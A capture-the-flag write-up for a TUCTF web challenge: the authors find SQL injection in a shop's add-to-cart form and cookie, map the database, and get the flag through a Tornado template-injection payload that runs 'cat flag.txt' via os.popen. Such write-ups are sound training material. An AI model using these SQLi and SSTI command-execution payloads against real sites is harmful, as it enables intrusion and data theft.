And Now For Something Completely Different [web]

And Now For Something Completely Different

We all know Black Friday is the time for shopping. Can you find us a flag on this online store?

Recon

SQL injection in http://chal.tuctf.com:30007/product/add in INSERT statement, but unclear where the flag is. The result of the query is shown on http://chal.tuctf.com:30007/cart.

curl -i -s -k -X $'POST' \
    -H $'Host: chal.tuctf.com:30007' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 52' -H $'Origin: http://chal.tuctf.com:30007' -H $'Connection: close' -H $'Referer: http://chal.tuctf.com:30007/details/1' -H $'Cookie: webstore_cookie=\"2|1:0|10:1575069922|15:webstore_cookie|48:NGQ2ZjNmY2EtMWRjNC00ODIwLTk2ZWQtYWExZmQxN2MwZTIy|7a0881436c3e3660b1f4a01a492a51e7afc1997b9a6d65595328117be5df8ab3\"' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'webstore_cookie=\"2|1:0|10:1575069922|15:webstore_cookie|48:NGQ2ZjNmY2EtMWRjNC00ODIwLTk2ZWQtYWExZmQxN2MwZTIy|7a0881436c3e3660b1f4a01a492a51e7afc1997b9a6d65595328117be5df8ab3\"' \
    --data-binary $'option=&product=2,(select count(id) from products))#' \
    $'http://chal.tuctf.com:30007/product/add'

Database layout

To get a picture of the database schema(s) involved, we mapped:

class_website
    cart (9k items)
        id, item, options, user_cookie

    products (4 items, the products on the website)
        id, decription, image, name, price

    product_options (11 items)
        id, option, product_id, value
            3x Size, Small
            3x Size, Medium
            3x Size, Large
            1x Color, Blue
            1x Color, Red

Request to cart table could be done by using AS

curl -i -s -k -X $'POST' \
    -H $'Host: chal.tuctf.com:30007' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0\x09' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 70' -H $'Origin: http://chal.tuctf.com:30007' -H $'Connection: close' -H $'Referer: http://chal.tuctf.com:30007/details/1' -H $'Cookie: webstore_cookie=\"2|1:0|10:1575069922|15:webstore_cookie|48:NGQ2ZjNmY2EtMWRjNC00ODIwLTk2ZWQtYWExZmQxN2MwZTIy|7a0881436c3e3660b1f4a01a492a51e7afc1997b9a6d65595328117be5df8ab3\"' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'webstore_cookie=\"2|1:0|10:1575069922|15:webstore_cookie|48:NGQ2ZjNmY2EtMWRjNC00ODIwLTk2ZWQtYWExZmQxN2MwZTIy|7a0881436c3e3660b1f4a01a492a51e7afc1997b9a6d65595328117be5df8ab3\"' \
    --data-binary $'option=&product=1,(select item from cart as c order by id limit 0,1))#' \
    $'http://chal.tuctf.com:30007/product/add'

User table doesn't exist.

Traceback (most recent call last):
  File "/usr/local/lib/python2.7/dist-packages/tornado/web.py", line 1509, in _execute
    result = method(*self.path_args, **self.path_kwargs)
  File "/usr/src/app/class_website.py", line 120, in post
    c.execute("SELECT user_pwd FROM user WHERE user_email =  %s ", [email])
  File "/usr/local/lib/python2.7/dist-packages/MySQLdb/cursors.py", line 205, in execute
    self.errorhandler(self, exc, value)
  File "/usr/local/lib/python2.7/dist-packages/MySQLdb/connections.py", line 36, in defaulterrorhandler
    raise errorclass, errorvalue
ProgrammingError: (1146, "Table 'class_website.user' doesn't exist")

Registering is not possible, even with a user table, since it gives another error:

Traceback (most recent call last):
  File "/usr/local/lib/python2.7/dist-packages/tornado/web.py", line 1509, in _execute
    result = method(*self.path_args, **self.path_kwargs)
  File "/usr/src/app/class_website.py", line 87, in post
    if len(name) == 0 or len(phone_num) == 0 or len(email) == 0 or len(passwd2) == 0 or passw != passw2:
NameError: global name 'passwd2' is not defined

SQLi also in cookie:

$ curl -s -v "http://chal.tuctf.com:30007/cart" -H "Cookie: webstore_cookie='"
*   Trying 159.89.240.96:30007...
* TCP_NODELAY set
* Connected to chal.tuctf.com (159.89.240.96) port 30007 (#0)
> GET /cart HTTP/1.1
> Host: chal.tuctf.com:30007
> User-Agent: curl/7.66.0
> Accept: */*
> Cookie: webstore_cookie='
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 500 Internal Server Error
< Date: Sat, 30 Nov 2019 01:05:47 GMT
< Content-Length: 759
< Content-Type: text/plain
< Server: TornadoServer/4.5.2
< 
Traceback (most recent call last):
  File "/usr/local/lib/python2.7/dist-packages/tornado/web.py", line 1509, in _execute
    result = method(*self.path_args, **self.path_kwargs)
  File "/usr/src/app/class_website.py", line 242, in get
    GROUP BY c.item, c.options")
  File "/usr/local/lib/python2.7/dist-packages/MySQLdb/cursors.py", line 205, in execute
    self.errorhandler(self, exc, value)
  File "/usr/local/lib/python2.7/dist-packages/MySQLdb/connections.py", line 36, in defaulterrorhandler
    raise errorclass, errorvalue
ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''                    GROUP BY c.item, c.options' at line 1")

Solution

After re-evaluating our options, we looked at welcome/test and discovered SSTI:

$ curl -ks 'http://chal.tuctf.com:30007/welcome/%7B%%20import%20os%20%%7D%7B%7B%20os.popen(%22cat%20flag.txt%22).read()%20%7D%7D'
<html>
    <head>
        <title>Welcome {% import os %}{{ os.popen(&quot;cat flag.txt&quot;).read() }}</title>
    </head>
    <body>
        Welcome TUCTF{4lw4y5_60_5h0pp1n6_f0r_fl465}

    </body>
</html>

Thus, the flag was not in the database and it is intended that the user table doesn't exists.